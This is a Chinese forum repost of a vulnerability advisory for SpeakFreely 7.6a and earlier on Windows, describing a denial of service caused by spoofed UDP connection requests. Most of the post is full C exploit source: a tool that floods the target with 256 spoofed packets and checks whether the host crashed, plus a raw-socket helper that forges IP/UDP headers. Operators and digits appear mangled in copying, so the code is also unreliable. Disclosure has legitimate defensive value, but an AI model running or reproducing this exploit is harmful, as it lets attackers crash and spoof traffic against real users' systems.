找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1110|回复: 0

SpeakFreely 欺骗 DoS 漏洞

[复制链接]
已绑定手机

200

主题

162

回帖

701

牛毛

一级牛人

武汉市双益伞业有限公司

积分
701
发表于 2014-5-16 08:55:34 | 显示全部楼层 |阅读模式 来自 湖北省武汉市
涉及程序:
SpeakFreely
  
描述:
SpeakFreely 欺骗 DoS 漏洞
  
详细:
SpeakFreely 是一款实时语音应用程序,可作为 ICQ 的插件用。  该程序中存在一漏洞,远程攻击者通过多个欺骗连接请求使客户端崩溃。  该软件有 Windows 和 Unix 下的两种版本,存在漏洞的仅在 Windows 版本中。通过源 IP 地址(通过 UDP 连接)欺骗几乎可以消耗 SpeakFreely 的所有资源。在 Windows 98SE 中 200 个欺骗数据包即可远程使程序崩溃。实际上,当一些数据包到达后系统会显示 :"Cannot create transmit socket for host (x.x.x.x), error 10***55. No buffer space is available",之后,程序崩溃。  受影响系统:
SpeakFreely version 7.6a 及之前的版本

  
攻击方法:
示例代码:
sfdos.c
/*  UNIX VERSION  */  #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include "send_udp_fast.h"    #define VER "0.1"
#define TIMEOUT 5
#define DPORT 2075
#define SPORT 2075
#define MAXPCKS 256
#define PCK "\x40\xC9"  // other packets
/*
#define PCK "\x40\xC9\x00\x01\x38\x8B\x06\x7A" \
             "\x81\xCA\x00\x0A\x38\x8B\x06\x7A" \
             "\x01\x00\x03\x00\x06\x1C" \
             "Speak Freely exploit running\0\0"  #define PCK "\x40\xc9\x00\x01\x32\x66\xce\xe5" \
             "\x81\xca\x00\x0c\x32\x66\xce\xe5" \
             "\x01" \
             "\x0b" "root@(none)" \
             "\x02" \
             "\x04" "root" \
             "\x06" \
             "\x15" "Speak Freely for Unix" \
             "\x00\x00"
*/      int timeout(int sock);
u_long resolv(char *host);      
int main(int argc, char *argv[]) {
   int sd,
           err,
           i,
           pcksz = sizeof(PCK) - 1;
   struct sockaddr_in peerc,
                peers;
   u_long source,
           dest;
   u_short sport,
           dport;  
   srand(time(NULL));     setbuf(stdout, NULL);
   
   fputs("\n" \
     "Speak Freely for Windows <= 7.6a spoofed DoS "VER"\n" \
     "by Luigi Auriemma\n" \
     "e-mail: aluigi@altervista.org\n" \
     "web: http://aluigi.altervista.org\n"
     "\n", stdout);  
   if(argc < 2) {
     printf("\n"
        "Usage: %s <SpeakFreely_host> [starting_source_host(random)]\n"
        "\n", argv[0]);
     exit(1);
   }     if(argc > 2) source = resolv(argv[2]);
     else source = rand();
   dest = resolv(argv[1]);
   dport = htons(DPORT);
   sport = htons(SPORT);  
   printf("The sequential source IP will start from: %s:%d\n"
     "Sending %d packets from sequential IP addresses\n",
     inet_ntoa(*(struct in_addr *)&source),
     SPORT,
     MAXPCKS);  
   for(i = 0; i < MAXPCKS; i  ) {
     send_udp_fast(
        source,
        dest,
        sport,
        dport,
        PCK,
        pcksz,
        1);       fputc('.', stdout);
     source  = 0x010****0000;       usleep(50***00);
// sleep(0);
// you can also use sleep(0), suggested if you are on a slow network
   }  
   fputs("\n\n"
     "Exploit terminated\n"
     "Now I will check if the remote host is down...\n", stdout);  
   peerc.sin_addr.s_addr = dest;
   peerc.sin_port = dport;
   peerc.sin_family = AF_INET;     peers.sin_addr.s_addr = INADDR_ANY;
   peers.sin_port = sport;
   peers.sin_family = AF_INET;     sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
   if(sd < 0) std_err();
   err = bind(sd, (struct sockaddr *)&peers, sizeof(peers));
   if(err < 0) std_err();
   err = sendto(sd, PCK, pcksz, 0, (struct sockaddr *)&peerc, sizeof(peerc));
   if(err < 0) std_err();
   err = timeout(sd);
   if(err < 0) fputs("\nHost successfully CRASHED!!!\n\n", stdout);
     else fputs("\nRemote host is NOT vulnerable\n\n", stdout);  
   close(sd);  
   return(0);
}      int timeout(int sock) {
   struct timeval timeout;
   fd_set fd_read;
   int err;  
   timeout.tv_sec = TIMEOUT;
   timeout.tv_usec = 0;     FD_ZERO(&fd_read);
   FD_SET(sock, &fd_read);
   err = select(sock   1, &fd_read, NULL, NULL, &timeout);
   if(err < 0) std_err();
   if(!err) {
     fputs("\nError: Socket timeout, no answers received\n", stdout);
     return(-1);
   }
   return(0);
}        u_long resolv(char *host) {
   struct hostent *hp;
   u_long host_ip;     host_ip = inet_addr(host);
   if(host_ip == INADDR_NONE) {
     hp = gethostbyname(host);
     if(!hp) {
        printf("\nError: Unable to resolve hostname (%s)\n", host);
        exit(1);
     } else host_ip = *(u_long *)(hp->h_addr);
   }     return(host_ip);
}  send_udp_fast.h:
/*  Header file for send UDP spoofed packets (FAST version)
by Luigi Auriemma
e-mail: aluigi@pivx.com
web: http://aluigi.altervista.org  VERSION 0.1.2  
For use this header file, simply add #include "send_udp_fast.h" to
your source code.  
This function need the following parameters:  - src = 32 bit long number that identify the source IP (example:
        0x01***07f)
- dst = 32 bit long number that identify the destination IP
- sport = big endian source port (you must use htons) (example: port
        80 = 0x5000)
- dport = big endian destination port (you must use htons)
- data = data to insert in the packet
- datalen = size of the data to insert in the packet
- num = how many packets send  NOTE:
- sport and dport must be in big endian
- if one of the port is equal to 0, it will be randomized
- ID and TTL of the IP header are randomized but are the same for all
the packets
- if you need a more simple function for send spoofed UDP datagrams,
you must use send_udp_full.h  
Example:
send_udp_fast(
   inet_addr("127.0.0.1"), //source
   IP_OF_"www.microsoft.com", //destination (you need the
                        //numeric IP of the destination
   htons(80), //source port
   0, //random destination port
   "Hello how are you?", //data (NULL for empty packet)
   18, //data length (0 for empty packet)
   3); //number of packets  
LINUX VERSION  */  #include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <string.h>
#include <time.h>    #define IPSZ sizeof(struct iphdr)
#define UDPSZ sizeof(struct udphdr)
#define PSEUDOSZ sizeof(struct pseudohdr)
#define SIZE (IPSZ   UDPSZ   datalen)
#define SENDUDPDELAY 0    void send_udp_fast(
   u_long src,
   u_long dst,
   u_short sport,
   u_short dport,
   u_char *data,
   u_short datalen,
   u_long num);
u_short in_cksum(u_short *addr, int len);
void std_err(void);  
struct pseudohdr {
   u_int32_t saddr;
   u_int32_t daddr;
   u_int8_t zero;
   u_int8_t protocol;
   u_int16_t length;
} *pseudohdr;  
/*
for more speed the ports must be given with htons (big endian) so the
function doesn't need to make this operation everytime  it supports the randomization of the source and dest port if equal to 0
*/  
void send_udp_fast(
   u_long src,
   u_long dst,
   u_short sport,
   u_short dport,
   u_char *data,
   u_short datalen,
   u_long num) {     u_char buff[SIZE],
        pseudobuff[PSEUDOSZ   UDPSZ   datalen],
        *datapck;
   struct sockaddr_in peer;
   struct iphdr *iphdr;
   struct udphdr *udphdr;
   int sd,
     err;  
   srand(time(NULL));     if(!sport) sport = rand();
   if(!dport) dport = rand();     peer.sin_addr.s_addr = dst;
   peer.sin_port = dport;
   peer.sin_family = AF_INET;     iphdr = (struct iphdr *)buff;
   udphdr = (struct udphdr *)(buff   IPSZ);
   datapck = (u_char *)(buff   IPSZ   UDPSZ);
   pseudohdr = (struct pseudohdr *)pseudobuff;  
   /* build IP header */
   iphdr->ihl = 5;
   iphdr->version = 4;
   iphdr->tos = 0x10;
   iphdr->tot_len = SIZE;
   iphdr->id = rand();
   iphdr->frag_off = 0;
   iphdr->ttl = (rand() >> 24)   120;
   iphdr->protocol = IPPROTO_UDP;
   iphdr->check = 0;
   iphdr->saddr = src;
   iphdr->daddr = dst;     /* build UDP header */
   udphdr->source = sport;
   udphdr->dest = dport;
   udphdr->check = 0;
   udphdr->len = htons(UDPSZ   datalen);     /* build data */
   memcpy(datapck, data, datalen);     /* build pseudo header for calculate checksum (copy UDP header and data in it) */
   memcpy(pseudobuff   PSEUDOSZ, udphdr, UDPSZ   datalen);     pseudohdr->saddr = iphdr->saddr;
   pseudohdr->daddr = iphdr->daddr;
   pseudohdr->zero = 0;
   pseudohdr->protocol = IPPROTO_UDP;
   pseudohdr->length = udphdr->len;     udphdr->check = in_cksum((u_short *)pseudobuff, PSEUDOSZ   UDPSZ   datalen);  
   /* send all */
   sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
   if(sd < 0) std_err();     for(; num > 0; num--) {
     err = sendto(sd, buff, SIZE, 0, (struct sockaddr *)&peer, sizeof(peer));
     if(err < 0) std_err();
     usleep(SENDUDPDELAY);
   }
   close(sd);
}    u_short in_cksum(u_short *addr, int len) {
     int sum = 0;
     u_short answer = 0;
     register u_short *w = addr;
     register int nleft = len;       while(nleft > 1) {
           sum  = *w  ;
           nleft -= 2;
     }
     if(nleft == 1) {
           *(u_char *)(&answer) = *(u_char *)w ;
           sum  = answer;
     }
     sum = (sum >> 16)   (sum & 0xffff);
     sum  = (sum >> 16);
     answer = "sum;
     return(answer);
}    void std_err(void) {
   perror("\nError");
   exit(1);
}

  
解决方案:
目前厂商未公布该缺陷补丁,请用户及时关注厂商站点:
http://www.fourmilab.ch/speakfree/
  
附加信息:

您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-28 04:28 , Processed in 0.157850 second(s), 36 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表